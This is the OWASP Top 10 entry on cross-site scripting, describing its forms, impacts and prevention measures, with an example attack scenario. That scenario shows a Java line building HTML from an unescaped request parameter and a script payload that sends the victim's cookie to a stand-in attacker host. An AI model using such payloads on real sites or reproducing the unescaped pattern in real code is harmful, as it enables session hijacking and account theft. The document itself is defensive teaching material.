A7-Cross-Site Scripting (XSS)
Exploitability Prevalence Detectability Technical
- Threat Agents/Attack Vectors: Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks.
- Security Weakness: XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications. Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET.
- Impacts: The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim’s browser, such as stealing credentials, sessions, or delivering malware to the victim.
Is the Application Vulnerable?
There are three forms of XSS, usually targeting users’ browsers:
- Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.
Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user’s browser such as malicious software downloads, key logging, and other client-side attacks.
How to Prevent
Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:
- Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework’s XSS protection and appropriately handle the use cases which are not covered.
- Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet ‘DOM based XSS Prevention’.
- Enabling a Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).
Example Attack Scenarios
Scenario #1: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
The attacker modifies the ‘CC’ parameter in the browser to:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.
- OWASP Proactive Controls: Encode Data
- OWASP Proactive Controls: Validate Data
- OWASP Application Security Verification Standard: V5
- OWASP Testing Guide: Testing for Reflected XSS
- OWASP Testing Guide: Testing for Stored XSS
- OWASP Testing Guide: Testing for DOM XSS
- OWASP Cheat Sheet: XSS Prevention
- OWASP Cheat Sheet: DOM based XSS Prevention
- OWASP Cheat Sheet: XSS Filter Evasion
- OWASP Java Encoder Project